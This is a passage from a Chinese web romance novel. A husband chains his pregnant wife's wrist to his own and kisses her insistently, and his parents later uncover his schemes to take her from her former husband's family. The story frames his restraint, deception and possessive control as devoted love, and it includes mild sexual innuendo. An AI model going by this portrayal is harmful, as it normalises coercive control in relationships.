祝吟鸾之所以不敢确认,一头雾水瞧着,瞧了许久,是因为眼前这些刑具都有些过于小了。 不像是用来责罚人的,更像是放在手上把玩的物件。 她不明沈景湛的深意,心中浮现起不祥的预感,强行按捺了心绪,侧身反问沈景湛, “你你领着我来这里是何意?”主要还是想要问,沈景湛让她看这些的用意因何? 在试问沈景湛,等着他回答的一瞬间,祝吟鸾的心中已然隐隐约约有数了。 沈景湛弄这些刑具来的目的究竟是为什么。 那一日他说她用手打他的话,会疼的,让她使用鞭子或者刀剑等东西抽打他就是了。 这个地方就有鞭子,看起来适宜女子使用不,是适宜她使用的。 曾经她送过沈蔻玉一条玉鞭,这条鞭子与那条鞭子比起来。 很是小巧,不适用于正儿八经的战场之上使用。 至于怎么就冒出了正儿八经这个词,祝吟鸾自己也说不上来。 “自然是让鸾儿参观宅院,瞧瞧可还有什么地方需要修缮。” 他避久不答,顾左右而言其它。 祝吟鸾怎么会听不出来。 她看着沈景湛,“”男人的脸上蕴着淡淡的笑意,清冷融化之后,给人如沐春风之感,叫人觉得他俊朗动人。 她发现了,样貌出众的人总是讨喜的,便是有天大的怒意,对着沈景湛的这张脸,她都生不起气来。 即便是沈景湛什么都不说,仗着这张脸就可以“大杀四方”了。 所以,祝吟鸾挪开了她的眼睛。 口是心非道,“我不喜欢这里,我要回去。” “是吗?”男人跟在她的后面,捏着她的手腕,轻巧一带,祝吟鸾便落到他的怀里。 他坐下,祝吟鸾也随之坐到了他的大腿之上。 “真的不喜欢吗?” 男人身高腿长,祝吟鸾的身形在女子当中也算是高挑窈窕的,但被他这样抱着,双脚还是悬空了。 他的长臂控制着她的腰身,长腿束缚着她悬空的腿脚。 一个极尽占有欲的抱姿。 祝吟鸾感觉她浑身上下,都被包裹在了沈景湛的控制范围之内。 不仅仅是无法自己凭借蛮力挣脱,就算是想要趁着沈景湛不注意,利用巧思挣脱也不太可能了,因为她一旦动弹,他就会发觉,毕竟男人的视线久久停留在她的身上。 “你你今日不用去忙朝廷的公务么?” “鸾儿不想要我陪你?”沈景湛很少回答人的话,他 只会把问题给抛回来。 这样的人几乎可以说是“身体力行”的难缠。 “我不想。”祝吟鸾道。 她原先打定主意,许久都不跟沈景湛说话,待彼此冷静下来,他对她那病态的喜爱冷却之后,再来思忖两人之间的事情。 或许她和沈景湛不会和离了。 毕竟抛却情感而言,这对于她和沈家都十分不利。 沈家要维护体面,至多就是给沈景湛收小房,不会与她和离,将沈家与她都抛至风尖浪口。 而她要借着沈家的大树躲避危机,这也是她当初与卫如琢和离之后,匆匆再嫁给沈景湛的意图。 卫家那边,庞氏虽然已经死了,卫如琢锒铛入狱,与她.交.恶的卫清丝还活着,卫明烟经过这番的事情不知待她的态度如何。 一旦脱离沈家,卫家的人极有可能会对她展开报复。 再者说,除却卫家之外,还有祝家呢,沈夫人说祝家已经摇摇欲坠,明芽告诉她长姐嫁过去以后,因为郭老王爷没有实在的权势,根本没有办法解决祝家的危机 但说破了天,祝家终究还是在的。 祝家的人比卫家都还要恨她,要是让祝家的人钻到了空子,会把所有的账都算到她的头上。 所以她不能够气愤上头,感情用事,与沈景湛和离。 前些时日或许是因为怀着孕的缘故吧,骤然知道那么多的事情,叫她整个人难以接受,以至于反胃呕吐。 毕竟她平生最恨的就是被人欺骗了,沈景湛这样玩弄她,还一副理所当然的样子,她焉能不生气?况且那个困扰她许久的梦境也给她留下了不小的阴影。 可沈景湛不在的那些时日,她渐渐冷静下来,愤怒和恐惧退却。 沈景湛归家之后的关怀,在沈夫人沈老太太沈侯爷面前对她的维护,对她的多番忍让,床榻之间俯身下去的取悦,也叫她心中起了涟漪 她做不到纯粹地痛恨沈景湛,她很清楚,自己对沈景湛是有爱的。 爱意缠绵包裹,如同六月雨水,九月秋瑟,十二月的寒冬,越了年坎,至此又迎来了二月春风,吹拂摇曳来来回回晃荡在人的心尖。 情意如何凭借三言两语,一两桩事便说得清楚? 事情一直在脱离她的思考,她原以为彼此能够冷静下来。 但她好似忽略了沈景湛的疯,不,是小瞧了他的疯。 她能对沈景湛怎么样,拳打脚踢也做了,却叫他兴奋异常,从未见过这种人。 想清楚归想清楚,该表的态度还是要表的。 当初说好的坦诚相待,互诉心扉。 结果只有她自己做到了,倘若她不发觉,沈景湛是不是打算将她整个人彻底蒙在鼓里,叫她怎么放得下? “” 祝吟鸾走神思考着,沈景湛看穿了她的游神,没有打断她。 他抱着她,看着她,感受静谧时光的缓缓流逝。 今儿天色很好,窗桕开着,晨光打进来,映照着她毛茸茸的额发,越发显得她肤如凝脂,面无瑕疵,睫毛纤长无比,时不时会眨动,宛若漂亮的小扇子。 祝吟鸾是游神游够了,方才想起来,她还在沈景湛争执。 适才都说到什么地方去了? 回想了一下,是沈景湛答非所问,然后她回绝了沈景湛。 他怎么不说话了? 就一直圈着她,看着她,有什么好看的? 祝吟鸾与男人对视好一会,然后她发现,在和沈景湛无声无形的对弈当中,她总是会率先败下阵来,不论多少次都是这样。 因为他的眸色过于深沉,幽暗,总让她觉得要被吃干抹净,被吸附进去,坠入沈景湛带给她的无尽深渊,随着他一起沉沦,变成她觉得很陌生的样子,譬如在床榻之上的失控。 她回想起来很多次被沈景湛引诱之后,发生的那些事情。 有控制不住的倾泻,崩塌的春山,汹涌的洪水。 往日里她不怎么喝水,可身上怎么会有那么多的水呢? 而且不仅仅是她这么认为,就连沈景湛也会对着她那么说。 不过他提起来的语气是疑惑的,含笑的,诱人。 祝吟鸾面皮子薄,恼羞成怒之下,没有力气打他,只能揽着他的脖颈,低头咬在他的肩膀之上。 饶是用了很大的力气,她觉得自己的牙都疼了,尝到了血腥味。 沈景湛的肩膀被她给咬破了,他却还在笑。 祝吟鸾都不清楚沈景湛究竟在笑些什么,但一旦知道了他是疯子,便也觉得可以理解了。 想着想着,她的视线便不自觉落到了沈景湛的肩膀上。 “鸾儿在瞧些什么?”他察觉到她的视线,显然知道了,却还明知故问。 祝吟鸾道,“你送我回去,我不要在这里。” 沈夫人今日被沈景湛拂却了面子,交代她的事情她也没有办妥,指不定会生气,不能坏了与婆母之间的关系,再者说沈夫人对她一向是不错的。 “鸾儿回去做什么?”他给她倒了一盏她喜欢的花露茶。 “我今日可是撂下了大大的狠话,鸾儿回去岂不是要给父亲母亲服软吗?” “更何况你我之间的事情没完呢。” 没完? 他怎么好意思说没完,难不成他还要怎么她? “前儿我已经跟你说了,事已至此,我对你无话可说。” “那怎么成?”对于她的冷意,他饶有兴致。 “我做了错事,惹鸾儿生气,你一定要狠狠的惩罚我,让我长个教训,下次再也不敢,便不会再犯了。” 祝吟鸾,“” “你把我当成什么人了?” “我自然知道鸾儿不与我这个斯文败类一样,但总是要教训的,否则鸾儿心里不愉悦,憋出心病怎么办?” 祝吟鸾一想到他被打爽的样子,到底是惩罚还是奖励? 只有他自己清楚了吧。 “我不要。”祝吟鸾开始挣扎。 沈景湛却越发抱紧她,“真的不要吗?” “鸾儿若是高高抬起,轻轻放过,我的心头自然是愉悦的,但我认为这样不好,父亲和祖母曾说,我这个人很欠管教。” “自从鸾儿入沈家门以后,一直认为我是良善君子,从未对我有过严苛训斥,便叫我放肆了一些,如今也该到了收拾的时候了。” “你怎么能这样说话!”祝吟鸾快要受不了他,却又被他困在怀中,被迫听着。 “我如何不能这样说了?”沈景湛道。 “鸾儿宠溺我,不肯教训我,我可不能恃宠而骄。” 祝吟鸾,“” 以前她怎么没有发现沈景湛是这样的人。 “你勒疼我了。”她让他松开,肚子里还有孩子,若是闹出了什么事情,沈夫人和沈侯爷自然会教训他。 “哪里就勒疼了?”他控制着力道,一直小心翼翼。 话虽如此,沈景湛还是松开了一些。 祝吟鸾垂眸看着争取而来的缝隙,还是不能够凭借巧力挣脱。 她正思索期间,沈景湛道,“鸾儿不必担心母亲和父亲,母亲不会将我今日忤逆犯上的气发在你的身上。” 祝吟鸾没好气,“原来你还知道你是在忤逆犯上吗?” “谁让母亲给我纳小房?” “鸾儿附和母亲,本来我应当记仇的,但” 祝吟鸾虽说还是抗拒,但依然忍不住听他要说些什么,眼皮子已经朝着沈景湛撩起来了。 男人薄唇勾起的弧度加深,“但我舍不得鸾儿,便只能找上母亲。” 想到沈景湛今日把沈夫人说得气呼呼,祝吟鸾一时无言,可过了一会,她问沈景湛,“你今日为何没有跟婆母说” “说什么?” “说你若是纳小房就罢官削爵的那个在我的手上。” “若是真的这样说了,母亲不就有理由朝着鸾儿发难了吗?”他捏了捏她的鼻尖,倒也没有说她笨。 其实祝吟鸾已经自己在心里琢磨明白了,可亲口听到男人这么说,她还是忍不住心颤了一下,在两人争吵闹有嫌隙的情况之下,沈景湛做事依然是为她考虑的。 “鸾儿不会真的想要给我纳小房吧?” “让我罢官削爵,这就是鸾儿对我的惩罚,是吗?”他逗着她笑。 祝吟鸾顿了好一会,想说不是,却还是没有开口。 须臾之后,她说是。 “若是我罢官削爵能够让鸾儿心中愉悦,狠狠出一口恶气,倒也没什么,只是不要真的想把我推给别人就是了。” 她并不想,但不能说。 得知沈景湛背地里做的那些事情,祝吟鸾已经在遏制对他的情意。 可不管怎么遏制,却总是会随着边角缝隙蔓延伸展,爬到她的心上,笼罩在她的心扉。 祝吟鸾叹一口气,“” 她垂着细嫩的后颈,垂眸不语,她问沈景湛,“时至今日,我还是不明白,你为何会对我有这样深的情意。” 她用一个深来概括了沈景湛的疯。 开口的一刻,想到了沈景湛放在他书房之内的画像。 压在下面的画像很厚,说不定 除此之外,她还想起来当时沈蔻玉跟她说过的,沈景湛心仪之人的小像。 那时候沈景湛敷衍她的借口是这样说的,因为年月深久,所以沈蔻玉看错了。 或许,她可以通过这些事情得知沈景湛口中,她和他的过往。 “就不能直接告诉我么?” “直接说也无妨,但是我不是很想说。” 他缓慢抚摸着祝吟鸾的鬓边乌发,再也没有在她的面前掩盖他深溺的情意。 祝吟鸾看着他的动作,感受到了他深沉似海而翻涌的情意,紧张得心口砰跳。 虽然还是有些害怕,但已经没有之前那么多了。 她甚至忍不住在想,是因为她 的前半生都没有人重视,在意。 所以上天才给她送了京城最好的儿郎,如此谋算“重视”她么? 在他的眼里和心里,仿佛任何事情都越不过她去。 他还说她是无价之宝。 砰砰砰,她仿佛听到了自己的心跳声,想要克制,却又无法压下去。 她担心沈景湛也听到了被他洞悉她的心事。 “鸾儿不要怕我。” 怀中人的眼睛一直凝在他的瞳眸上,似乎有些被吓到了,正下意识的左右颤动着,就连睫羽都开始抖动了。 觉得她好可爱,令他心动,于是又想要亲她了,可是又害怕她恼怒。 心里同样想着要克制的男人,却率先破了防,他无意识朝着她靠近,视线缓缓下垂,挪到她的唇瓣之上。 祝吟鸾发现他的情.欲,在流露,瞬间防备捂住了她自己的嘴。 “你不要亲我。” 青天白日,朗朗乾坤。 男人回神,“好”应她的这一声,嗓音已经有些许暗哑。 祝吟鸾说她要下去,不喜欢这样被抱着。 “鸾儿说谎,你分明是喜欢的。” “你如何瞧出来我喜欢了?”祝吟鸾与他犟嘴。 “鸾儿说过我能够洞察人心,算无遗漏。” 她有说过吗? 之前说过吧。 “你不要转移话茬,你为何不想将过去发生的事情告诉我?” “因为鸾儿忘记了,即便是我告诉你,你也觉得像是在听别人的故事。” 那是独属于他与她之间的过往,即便是她忘记了,他也还记得。 祝吟鸾听着沈景湛这句话,总觉得她好似辜负了他一般,莫名让人觉得有些许心酸起来, 这更让她好奇了,当初究竟是怎么了? 出了什么样的事情,才会变成这个样子。 “我究竟是怎么忘记的?” “鸾儿怀疑是我对你动了手脚?”他言明她话语里的深意。 祝吟鸾反问,“是你做的吗?” 不要怪她多疑,谁让他有前车之鉴。 “不是我。” “若非鸾儿忘记了这件事情,你如何会在我出征平乱的时候落到卫家?” “我喜爱你,何必要如此折腾你我之间。” 他的手从她的发梢缓缓往下,渐渐挪到了她的侧脸之上。 男人的指腹温凉,摩挲到她的脸上之时让她觉得有些痒,于是就忍不住躲起来。 可就算是躲,也不过是往沈景湛的怀里钻,她被困在方寸之地,还能够躲到什么地方去? 祝吟鸾已经笑不出来了。 “既然不是你做的,那我究竟为何没有了之前的记忆,你知不知道?”祝吟鸾又接着问。 “鸾儿问我,我才是要问鸾儿呢。” “你不知道?真的不知道吗?”祝吟鸾对沈景湛的话保持怀疑的态度。 “我的确是不知道。”他说只知道她失去记忆了,但怎么丢的记忆并不清楚。 过了一会,沈景湛道,“可以肯定的是在祝家丢的。” 会跟祝家的人有关系么? 在这一刻,祝吟鸾无比希望可以找回她丢失的记忆,蒙在鼓里的感受实在是太糟糕了。 祝家 现如今她虽然不想要回祝家,但是线索还在祝家。 先前她也问过明芽,可明芽也不清楚。 所以,关键还是在祝家。 “你可以让我见见我父亲么?”祝吟鸾问。 小娘走了之后,祝大人便是她在这世上唯一有血缘关系之人了。 “鸾儿想要见,当然可以了。”沈景湛在这一刻忽然很好说话。 祝吟鸾有些许不适应,“你为何忽然就同意了?” “鸾儿想要见,当然可以,毕竟是鸾儿的生父。” “婆母和祖母一直不让我与祝家往来,当然我自己也是这么想,但”她想要弄清楚一些事情,到了祝家说不定能够想起来呢? “明日我得空,陪鸾儿去,如何?” 他的手一直停留在她的脸侧,祝吟鸾觉得很不适应,实在是有些受不了痒,她拍开了沈景湛的手。 男人轻笑着将手给挪开了。 祝吟鸾看到他手上的牙印,她那时候咬得比较凶,不像是他脸上的伤,擦擦药便消失了,这手伤只怕还要养几日。 而且她看着他手背上的伤,有些疑问,看起来就像是擦干净了没有上药一般,还是有些许血淋淋的。 “你没有上药吗?”想着想着,祝吟鸾开口直接问。 他挑眉,还笑呢,“嗯。” “为何不上药?”在用早膳的时候,倒是隐藏得很好,沈夫人根本就没有发现他手上的伤。 他隐藏起来的缘由,也是怕沈夫人瞧见了责备她吧。 思及此,祝吟鸾的心里又五味杂陈起来。 沈景湛说得对,他谋划这么多,的确实实在在伤害过她,嫁入沈家之后,她以为高门大户,难免委屈憋闷,却没有想到,在沈家基本上灭有受过什么罪。 沈家的人对她很是宽宏不说,有时候还处处忍让,尤其是小姑沈蔻玉。 背地里自然有人说她,攀上了高枝变成了凤凰,可这种话,说句实在的,她在沈家还真是一句话都没听到。 沈夫人管家有方,沈景湛又凶,底下的人都怕他,连带着没有人敢招惹她了。 他给了她很多尊荣。 尊荣体面都是有的,可欺骗隐瞒也是真的。 “这是鸾儿给我的赏赐,做什么上药,我巴不得一直留在手上,见到它便会想起鸾儿来。” “你怎么这样疯?!”祝吟鸾还是忍不住凶斥沈景湛。 他这样衣冠禽兽,斯文败类,表里不一,她已经开始担心肚子里的孩子生下来了,上梁不正下梁歪,那可怎么办? “只不过对鸾儿如此罢了。” 早在多年以前,她嫁给卫如琢,还企图跟他生儿育女的时候,他便已经疯了。 就算是失去了记忆,也是她抛弃了他。 他想要感受她的鲜活,这样才会一直觉得她始终是留在他身边的。 那种失而复得的感觉,是如此美妙的心颤。 祝吟鸾没有回他这句话,沈景湛笑着拉起她的手,“鸾儿对我的惩罚呢,究竟什么时候开始?” 他不知道从什么地方拿出了一个.锁.环,祝吟鸾垂眸见了,吓得差点甩出去。 沈景湛攥着她的手,叫她看, “鸾儿不要放过我,好不好?” 第88章 第88章“我想与鸾儿形影不离。”…… 因为被沈景湛拉着手,所以祝吟鸾被迫触碰到了他拿出来的锁.环,她的手往回缩,却还是无法执拗过沈景湛的力道。 白嫩如细葱的手指,只能够触碰到令人可怕的冰凉的刑具。 他还在她的耳畔说话,告诉她这个物件可以将他给锁住,折磨他,教训他。 祝吟鸾听他说话越发觉得受不了。 更不要提此时此刻被迫看到手上的东西,她只觉得是一个烫手的山芋,恨不 得当下就给甩了出去。 除却浑身汗毛倒竖,她还觉得危险。 也不知是不是同沈景湛在一处久了,有句话是怎么说的,近朱者赤近墨者黑。 沈景湛并没有具体说明这个物件究竟是怎么使用,如何能够教训折磨他,她便已经能够自己想出来了。 祝吟鸾的面色无比红润,耳朵也仿佛要被蒸透了。 她挣扎着,“你不要再胡说八道也不要再闹了。” 若是她去跟旁人说,表面不近女色的京城第一公子,私下里居然玩这些勾栏瓦舍的把戏,只怕都没有人相信。 “鸾儿——”男人磁沉的声音一直叫着她的名字。 祝吟鸾只觉得耳朵子酥麻发痒得厉害,她不停扭动着身子,好在她如今怀有身孕,沈景湛在某些方面还是很顾及的。 所以,祝吟鸾趁着他不注意,将他略微推开了一些。 她抓着空子见缝插针,直接从沈景湛的身上跳了下来。 可是她没有想到,沈景湛留有后手。 她的手被沈景湛扣住了,是用他方才弄到的锁.环。 准确来说,应该是一个锁.链。 不对,回过神来,她觉得她自己应该早就想到的,因为沈景湛处心积虑要抱着她,适才细心观察都无法从他的怀中挣脱,眼下怎么就跳下来了。 原来是转移她的注意力,目的就是在她的手腕之上扣这个东西。 眼下她和沈景湛被锁到了一处。 这个锁.环之间的链子距离并不长,一步的距离都拉不开。 若是不解开,意味着她要随时随地跟沈景湛在一处了。 祝吟鸾痛恨他像只老狐狸一样处处算计,娇斥道,“你快些解开!” “我想跟鸾儿在一处,不得不剑走偏锋。” 不想听他这些污言秽语,他不解开,她只能够自己想办法了。 祝吟鸾抬起手腕看,发现这个手腕的锁.环做得无比精巧,就算是连钥匙孔之类的东西都没有找到。 或许是有的,只是在沈景湛的那一边。 她看过去,感受到她的目光,知道了她在想些什么,沈景湛将他的手腕挪到她面前让她看。 祝吟鸾生气瞪他一眼,低头在他的手腕之上翻找起来,想要看看能不能找到什么打开的方法。 男人居高临下看着她认真翻找打开锁.环的清丽眉眼,她的手在他的腕骨之上摸来摸去,只是简单的触碰都令他觉得愉悦。 她已经许久没有这样把目光专注放到他的身上了,在没有生气以前就因为娇怯而不敢怎么看他。 生气以后更是刻意的躲闪,若是强硬一些,将她的目光挪到他的身上,她还是要生气的 沈景湛勾唇感受着她的触碰,她的专注,即便她是因为翻找别的东西而触碰到他,并不是因为想要触碰他而去触碰他,也叫他觉得无比愉悦和欣喜。 翻找了许久还是没有找到,就连锁.孔都没有找到。 “你你究竟想做什么?”祝吟鸾抬头对上男人蕴含笑意的脸,气得不知道说些什么为好了。 “我想跟鸾儿形影不离。” 祝吟鸾无言以对,好半响又训他一句,“疯子。” 好端端说着话,他又开始发疯。 “许久没有跟鸾儿在一处了,这里没有旁人,我想跟你说说话。” 他又接着道,“家中固然安静,却也有父亲母亲和祖母,时不时还会有亲眷上门,我不喜欢。” 祝吟鸾,“” 硬.的不行,便只能够来软的了,祝吟鸾在心中按捺住气息,随后道,“你我如今不是在一处么?” “做什么还要用这个锁在一起?” 沈景湛轻笑出声,他站起来,身形高大伟岸,靠近走过来时,祝吟鸾感受到了无形的压迫,有些许想要后退,她也的确是往后退了。 扣在手腕上的锁.环链子甚至撞到了桌沿,发出清脆的碰撞声。 在宁静的白日里,犹如银铃碰撞落地的声音,十分的好听,也惊醒了此刻略微惊慌失措的她。 “鸾儿害怕我?” 近在咫尺的时候他停下了,伸手给她扶正因为挣扎跳出他怀抱,而弄乱的珠钗。 “真的害怕吗?没有期待?”他俯身靠近她。 两人鼻尖相触,祝吟鸾看到男人幽深眸子当中清楚倒印着她的身影。 但她的瞳眸当中,何尝不是如此,何尝没有倒影男人的身影。 越来越近的距离,沈景湛闻到她身上淡淡的馨香,他用深邃的眸子,精致俊美的眉眼吸引她,如此近的距离之下勾.引她。 让她高度紧张之下的思绪凝聚放落到他的身上,渐渐忘记两人之间究竟为什么起了争执。 然后他又在无形当中凑过去,距离越来越近,若是此时此刻谁张口说话,必然会吻上对方的唇瓣和脸颊。 因为祝吟鸾已经感受到了沈景湛的呼吸,悉数打在她的脸上。 男人的睫羽往下垂落,是他要亲吻她的前兆,祝吟鸾下意识紧张起来,她的手指在宽袖之下攥紧了。 她应该推开沈景湛的,但是不知道为何浑身没有力气一般,她没有动作。 他给人的存在感实在是太强了,就这么笼着她,罩着她,叫她无法逃脱,忘记了动作。 她的思绪被他给吸引走了,祝吟鸾的脑海当中出现了男人问她的话。 对他只是害怕吗?没有任何的期待吗? 不期待他靠近她,不期待他亲吻她吗? 无法当着沈景湛的面说出来,但是祝吟鸾自己的心里很清楚 她的确是不害怕,对于沈景湛锁她的手腕,靠近她的同时,压迫她,笼罩她的这一些。 她似乎真的不怎么害怕,更多的也的确是期待。 她期待沈景湛吻她,期待他的薄唇触碰到她。 不仅仅是因为沈景湛在床榻之上的功夫很好,还因为他的皮相出众,手腕权势是整个人京城的翘楚。 她是一个俗人,她入俗世当中,如何能够免俗,对这样任何地方都出众,且是京城贵女们都想靠近的,摘下的一朵高岭之花,无动于衷呢? 他对任何人都不屑于顾,不将任何人放在眼里,唯独拜到在她的襦.裙.之下,对她施以偏爱,为她力排众议,用十里红妆迎她入门,又给她豪横的家世撑腰 在与那些京中贵女.交涉往来的时候,在对方羡慕的言行当中,她亦觉得殊荣。 即便是心如槁木,她也早就动心了。 在她还没有从卫家伤痛当中走出来的时候,沈景湛凭借他优越的在床榻之上的“攻势”,通过她的柔软,闯入了她的心扉。 从喜欢与他同房,亲吻,到喜欢上他整个人,究竟是从什么时候开始,她记不清,分不出来了。 所以这些时日不仅仅是躲着沈景湛,她也是躲着她自己,祝吟鸾觉得她是虚伪的。 她又有什么资格说沈景湛表里不一? 他也的确是表里不一,斯文败类,处心积虑谋算得到她,可若是她能够坚守本心,坚持自我,没有为之动摇,没有对他有所期待,又怎么会那么愤怒,那么闹腾? 更多的,是对她自己的厌弃吧。 她也是虚伪的。 思及此,祝吟鸾的瞳眸闪烁。 男人又在这时候停顿,轻声询问她,“可以亲一亲鸾儿么?” 他的声音很低,接近轻轻喃喃,顺着她的耳朵钻到她的心尖上,叫她的心上泛起涟漪。 祝吟鸾整个人都不知道说些什么为好,她没有说话,手指抬起抵在两人中间,沈景湛垂眸看去,她的手抵至两人中间停下,却没有将他推开,而是渐渐蜷缩起来。 他观察着她的动作,唇边的弧度越发 加深。 他已经知道她的回答了。 于是,男人的大掌抬起攥掌控住她的后脑勺,祝吟鸾整个人被迫后仰。 他动作之间,锁环的链子响在耳畔,祝吟鸾仿佛在一瞬间惊醒。 等等她怎么就! 待她反应过来,沈景湛已经强势吻了上来,因为过于大力,祝吟鸾整个人往后仰。 因为两人之间锁.链过短,祝吟鸾的另外一只手也被迫抬起束缚到了脑后。 沈景湛实在是吻得太重了,即便是他的大掌控制着她的后脑勺,另外一只手也小心护着她的腰肢,但她整个人还是被他吻.啃得节节败退。 手掌扶着桌沿,桌上名贵的骨玉瓷随着圆桌的挪动而摇摇欲坠。 沈景湛的吻虽然重中蕴含轻柔,但是姿态却也十足十的强势,几尽显出占有欲。 祝吟鸾感觉呼吸困难,她过往学到的渡气法子在这一刻都不管用,因为沈景湛亲吻她的方式也改变了。 他吻入,将她给带出来,然后.吮.着她的唇瓣,不停吻着她,中间停留的间隙不足够她.喘.息了。 祝吟鸾在这场亲吻当中很快败下阵来,她开始挣扎的前夕,男人又给了她空隙,让她能够渡气,可是这气都还没有渡多久,他又接着吻了。 男人强势霸道扫过怀中人唇齿,似乎要将她缓和过来的芬芳甜美全都给汲吸过来。 将她融入他的骨血,再也不分离。 可又在她察觉到他意图泛起恐慌的时候将她放下,让她有一点缓和的余地。 就这样,两人断断续续吻了许久。 等祝吟鸾彻底软成一滩水,在他怀中滑落,整个人的脸上满是红晕之时,沈景湛才算是真正停了下来。 不出意外,跟之前一样,她整个人的唇都被沈景湛给吻肿了,而且是高高肿起。 唇上还留有水泽,男人眼眸深沉吓人,伸手将她唇瓣上的水泽拂却而去。 靠近的时候,轻柔的吻又落到了她的鼻尖和面颊之上,祝吟鸾浑身轻颤。 不过就是一个吻而已,她感觉自己浑身上下全都是沈景湛身上的味道。 他留下的气息是如此的明显,完完全全笼罩着她。 思及此,她想到方才沈景湛亲她时候,她先前是不是咬他了?似乎还没有好。 两人静默无言许久,沈景湛抱着她,带着她去妆奁台那地方,给她整理发髻。 透过铜镜,祝吟鸾可以看到男人的动作是如何的温柔,眼神是怎样的专注,全都落到了她的身上。 他对待她,小心翼翼到害怕碰碎了她。 这似乎就是她以前想要的偏爱吧。 没想到,会在离开卫家之后得到,她原本以为一生都不会有了。 可当祝吟鸾的视线左移,看到扣连两人之间的锁.环,又忍不住感叹,无论任何事情,过犹总是不及的。 “” 沈夫人没有想到,沈景湛居然不是说笑,就这么带着祝吟鸾搬出去了,一夜都没有回来。 分明庭院当中伺候的大部分小丫鬟都还在,随从们也都停留在外院。 当日夜里,沈侯爷回来,沈夫人怎么都睡不着了,跟他说起这件事情,问他应该怎么办? 沈侯爷正在净手,瞥见沈夫人慌慌张张的样子,他问了一句,“今儿一直都没回来?” “是啊。”沈夫人叹一口气,“那祝氏肚子里还有孩子呢,叫我如何放心得下?” “听澜还真是胡来!”本来想要训斥几句,眼下又怕传到了沈景湛的耳朵里,所以沈夫人只能够将满腹委屈给噎了回去。 儿子不好说,干脆就说起老子来。 毕竟憋着还是太难受了。 沈侯爷在梳洗之时,吃了许久的奚落,沐浴的时候总算得了清净,可出来之时,沈夫人脸上怨气慢慢。 他笑着坐到沈夫人旁边,哄她消气,又被沈夫人啐了好几口。 沈侯爷耐心问她孟家那边的事情处理了么? 沈夫人没好气,“我倒是想去处理,可人前些时日一直过沈家来,都说好了再去拂人面子,叫我怎么做得出来?” 说来说去,就是没有想好了。 沈侯爷看着她为难的脸色,提议道,“明日我告半天假,随夫人一道过去吧,这件事情总归是我们沈家做得不地道,合该摆出样子来。” “真的?”沈夫人欣喜。 若是有沈侯爷陪同,这底气也能足一些,孟家纵然是心里埋怨也不敢表露得太明显,日后不至于结仇,毕竟面子也给了。 “嗯。”沈侯爷又道,“携带一些重礼赔给人家,除此之外便说是夫人瞧孟家的姑娘合眼缘,想认她做义女,如此也算是赔偿了,不至于累了人家姑娘的名声,关键是堵住外面的悠悠之口啊。” 主要还是沈夫人前些时日一直带着祝吟鸾过孟家去,世家高门已经察觉到了沈夫人的意图,品出她要抬举孟云娶她过来。 如今断了,外头必定议论纷纷,于孟家女定然是不好找亲事,即便是找到了,指不定被人闲话。 人言可畏,两家闹出龃龉,届时官场上两家面对面尴尬。 “还是夫君思虑周到。”沈夫人先前也冒过这个念头,但孟云认作义女还是太抬举了。 孟家跟沈家相比,不论是官声亦或者威望,都是差沈家很多。 沈侯爷瞧出她不怎么乐意,哄她说,“夫人心中早有决断,我不过是顺水推舟,算不得什么。” 三两句话,沈夫人心中畅快了。 但沈景湛和祝吟鸾的事情都还没有完,沈夫人无法彻底放下心,她又开始苦着一张脸。 “听澜那边要怎么办?” 对于这个儿子她历来是拿不了他的主意,并且有些畏惧他的。 “孟家的事情解决之后,两人能回来么?” 沈侯爷道,“夫人以为听澜为何要带着媳妇搬出去?” “不就是因为孟家的事情?可我总觉得不只是这样” 具体什么样,沈夫人说不上来。 “有些话我说了夫人可不要不高兴。”沈侯爷打着商量。 沈夫人白他一眼,让他快说不要卖关子。 “听澜搬出去主要是因为他和媳妇之间出了些龃龉,其次嘛” 前些时日沈蔻玉找了沈侯爷,跟他说回门那日不小心祝吟鸾说了一些话,她也不知道错在什么地方,但似乎是闯祸了。 沈蔻玉害怕沈景湛,知道这个家里,只有他这个当父亲的能够弹压他,所以来告知他。 沈侯爷做父亲的,混迹官场,自然知道一些不为人知的猫腻。 譬如沈景湛与已经致仕的礼部尚书马其昌往来的事情。 当初那封喜帖,沈夫人分明已经送到了马家一封,沈景湛为何又送过去一份? 他往日里都不管这些事情,纵然是娶到了祝家女心中愉悦,要亲自送喜帖,也不至于就单单送马家吧? 所以,这其中有猫腻,当时沈侯爷得知这件事情便叫人留意了。 除此之外,还有骆家大人,他曾经去过中书找沈景湛,沈侯爷底下的人碰见的,具体什么事情居然察觉不出来,如今出事,沈侯爷方才反应过来,敢情是这样了。 包括要续弦祝家女的康老王爷,沈景湛底下的人也与之有交集,最后是卫家。 卫家的事情要追溯到过往多年以前了。 当时卫家老大人卫籍因为一桩事情没办好被流放外任,卫家的子弟受到牵连,频繁被打压。 第二年,沈景湛通过姚太尉之手,提了贬臣后嗣再准录用一则。 当时可是得罪了不少人,甚至有不少同僚来找沈侯爷,问沈景湛究竟是怎么想的? 沈侯爷面上敷衍着,背地里也不好跟这些同僚说,他这个当爹的也不知道他究竟是怎么想的。 也询问过,沈景湛只说连坐之罪不宜盛行,毕竟一人做事一人当。 若是敷衍旁人倒是可以,沈侯爷自然是不相信。 就算是不相信,这件事情在当年他摸不到头绪。 现如今算是想明白了。 是为了给祝吟鸾当时的夫婿卫如琢晋升做准备。 后来,他底下的人抽中了一个青楼女子送到卫家老大人身边 多年以后,那女子待在卫家老大人的身边,与他生了情意,生儿育女,如今卫家老大人带着那女子回京城,把卫家主母生生给气死了。 人死以后,卫家老大人火速将这女子给扶正,京城当中可是一直在议论啊。 不仅是这样,当初卫家老大人卫籍为何能够回京城? 是礼部尚书马其昌给圣上提议求情,当时圣上原本是不允许的,可沈景湛帮着说 了一句话,那人也就回来了。 这件事情并非是正面上做的,前朝的人都不太清楚。 沈侯爷叫人去调查过这件事情,马其昌当时帮卫家老大人求情,是想要利用卫家老大人返京的事情,让卫家老大人“大义灭亲”。 礼部尚书能够想到这么多么? 沈侯爷陷入沉思好一会,沈夫人迟迟等不到他的后言,让他话不要只说一半,“其次什么?” 沈侯爷左右看了看,吩咐内室的人全都出去,然后他把这些年发觉和验证的事情,都跟沈夫人细细说了一遍。 半个时辰过去,沈夫人目瞪口呆,愣了好一会神,“什么?!” “这怎么可能?”沈夫人不可置信。 沈侯爷叹气,“事实如此啊。” “卫家这门姻缘,是听澜巧取豪夺而来。” 何止是巧取豪夺,说得太好听了,完完全全就是没有道德律法底线,搞垮了祝、卫两家抢来的。 上位者,谋夺下僚妻,简直谁好意思说出去啊。 主要是沈景湛往日里在人前那风光霁月,郎艳独绝的形象树得实在是太好了,没有人会往她的身上去联想,这件事情居然会是他做的。 